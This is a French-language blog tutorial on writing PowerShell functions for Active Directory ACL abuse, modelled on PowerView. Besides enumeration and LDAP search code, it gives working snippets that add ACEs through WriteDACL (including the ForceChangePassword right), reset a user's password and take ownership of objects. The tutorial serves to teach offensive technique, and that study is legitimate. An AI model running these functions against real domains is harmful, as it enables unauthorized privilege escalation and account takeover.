PowerShell pour l’attaque d’ACLs

Dans cet article nous verrons comment programmer avec PowerShell des fonctions d’exploitation, ce qui permettra d’introduire plusieurs notions qui seront très utilisées dans le future, de mieux comprendre comment PowerView fonctionne, et apprendre à interagir avec un Active Directory à l’aide des classes .NET et ADSI. Si PowerShell vous est totalement étranger, je vous recommande la série d’article sur ce dernier présente sur le blog.

Get-Domain

Une fonction élémentaire; tous les programmes qui interagissent avec un annuaire LDAP y ont recours. Elle permet d’obtenir les informations sur le contexte actuel de l’éventuel domaine ou forêt à laquelle est jointe la machine: le nom du domaine, les contrôleurs de domaine et leurs rôles. Pour permettre cette énumération, l’espace de nom System.DirectoryServices.ActiveDirectory est dédié, on y retrouve la méthode GetCurrentDomaine() et GetDomain(). La première ne nécessite pas d’argument on l’appelle comme ceci:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

l’intérêt de la deuxième est qu’elle prend en argument un DirectoryContext. Un DirectoryContext est une classe appartenant au même espace de nom, qui prend en arguments plusieurs choses: un domaine alternatif, et des identifiants, on l’utilise comme ceci:

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DomainContext('Domain', 'contoso.local')
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DomainContext('Domain', 'contoso.local', 'UserName', 'Password')

# ce qui permet d’utiliser GetDomain()

[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)

Ainsi la fonction Get-Domain retourne un objet .NET spécialement conçu en fonction des paramètres donnés, des identifiants alternatifs, ou bien un domaine cible. La fonction utilisée dans les scripts complet est une version légèrement modifiée de celle proposée par Harmj0y (pour la simple raison qu’elle est parfaite).

Invoke-DomainSearcher

Cette fonction permet la recherche d’objet au sein de l’annuaire LDAP en utilisant System.DirectoryServices.DirectorySearcher. Cette fonction à besoin de Get-Domain pour pouvoir obtenir le contrôleur de domaine possédant le rôle “PDC Emulator”, qu’il va intégrer dans une base de recherche, qui est généralement à la racine du domaine. Elle ressemblera ainsi à LDAP://DC.domain.local/. Un filtre est appliqué grâce à la propriété d’objet Filter. le résultat de la recherche est retourné. De manière grossière la partie de recherche est donc composée des étapes suivantes:

$domainObj = Get-Domain
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',’DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)	
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.Filter = $Filter
$result = $Searcher.FindAll()

Get-DomainObject

Cette fonction à pour but de retourner les propriétés d’un objet donné par l’utilisateur en argument. Le but est d’obtenir le chemin ADS qui permettra d’effectuer des modifications sur l’objet. Un filtre LDAP est constitué à partir de l’identification qu’il est possible de faire avec l’identité de l’objet. Par exemple, si la taille du tableau formé de la chaîne de caractère de l’identité séparé tous les “-” vaut 8, il s’agira du SID de l’objet, ainsi de suite. le code ressemble donc à cela:

$filter = @("(|")

if ($Identity.Contains("LDAP://") -and $Identity.Contains("DC=")) {

	$filter += "(distinguishedName=$($Identity.Replace("LDAP://")))"
} elseif ($Identity.Contains("DC=")) {

	$filter += "(distinguishedName=$Identity)"
} elseif ($Identity.Split("-").Count -eq 8) {
                
	$filter += "(objectSid=$Identity)"
} elseif ($Identity.Split(".") -ge 3) {

	$filter += "(dnshostname=$Identity)"
} else {

	$filter += "(|(samAccountName=$Identity)(name=$Identity)(cn=$Identity))"
}

$finalFilter = (-join $filter) + ")"
$results = Invoke-DomainSearcher -Filter $finalFilter

Ensuite, un psObject est créé à partir des objets présents dans le résultat de la recherche.

Get-DomainObjectAcl

Cette fonction permet d’obtenir le contenu de la DACL d’un objet. Elle renvoie à ce titre un PSCustomObject comprenant plusieurs propriétés. Pour obtenir ces dernières, il faut monter le chemin ADS de l’objet, et accéder au champ ObjectSecurity. Puis utiliser la méthode GetAccessRules().

$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($Object.path)
$aclObject = $ADSIObject.PSBase.ObjectSecurity
$aclList = $aclObject.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier]) 

Add-DomainObjectAcl

La première fonction d’exploitation permet d’ajouter une ACL dans le cas de l’utilisation du droit WriteDACL. On commence par accéder à l’objet avec une DirectoryEntry:

$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($Object.Path)

Puis on précise que l’on modifie la DACL,

$ADSIObject.PSBase.Options.SecurityMasks = 'Dacl'

Puis on reproduit les étapes suivantes pour ajouter une ACE (si vous avez lu l’article sur l’abus d’ACL, elles devraient vous être familière). Il faut d’abord obtenir le SID du référent du droit et on en créer un objet .NET de type System.Security.Principal.IdentityReference. Puis, on précise le droit ActiveDirectory en utilisant l’énumération System.DirectoryServices.ActiveDirectoryRights, ainsi que le type d’héritage. Enfin on crée une ACE objet avec la classe System.DirectoryServices.ActiveDirectoryAccessRule. On ajoute l’ACE avec la méthode AddAccessRule().

$sid = [System.Security.Principal.SecurityIdentifier] $Principal.sid
$identity = [System.Security.Principal.IdentityReference] $SID
$adRights = [System.DirectoryServices.ActiveDirectoryRights] $Access
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"

$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type,$inheritanceType)
                
$ADSIObject.PSBase.ObjectSecurity.AddAccessRule($ACE)

Si on ajoute un droit étendu les étapes sont différentes mais cependant très proches.

$FinalGUID = New-Object System.Guid("00299570-246d-11d0-a768-00aa006e0529") # guid pour ForceChangePassword
$sid = [System.Security.Principal.SecurityIdentifier] $Principal.sid
$identity = [System.Security.Principal.IdentityReference] $SID
$adRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"

$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type,$FinalGUID,$inheritanceType) 

$ADSIObject.PSBase.ObjectSecurity.AddAccessRule($ACE)

Enfin, on finit par appliquer les modifications $ADSIObject.PSBase.CommitChanges().

Set-DomainUserPassword

Cette fonction permet comme son nom l’indique de changer le mot de passe d’un utilisateur. Pour ce faire, il faut monter l’objet avec une DirectoryEntry puis on invoque la méthode SetPassword avec en argument le nouveau mot de passe en clair. On applique enfin les changements.

$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($user.adspath)
$ADSIObject.PSBase.Invoke("SetPassword", $AccountPassword)
$ADSIObject.CommitChanges()

Set-DomainObjectOwner

Cette fonction permet de changer le propriétaire d’un objet, on rappelle que ce dernier possède implicitement tous les droits (GENERIC_ALL) sur l’objet dont il a l’acquisition. Après avoir monté le chemin LDAP de l’objet cible avec une DirectoryEntry, on doit créer un System.Security.Principal.NTAccount avec en argument le domaine, et le nom SAM de l’objet référent. Puis on utilise la méthode SetOwner pour enfin appliquer les changements.

$IdentityReference = New-Object System.Security.Principal.NTAccount($domainName, $OwnerIdentity.SamAccountName)
$ADSIObject.PSBase.ObjectSecurity.SetOwner($IdentityReference)
$ADSIObject.CommitChanges()

Les scripts PowerShell sont disponibles sur github ici et je vous invite à les lire. J’espère que cet article vous a plu, écrire ses propres outils est très formateur, j’espère que vous vous y essayerez !

Leave a Reply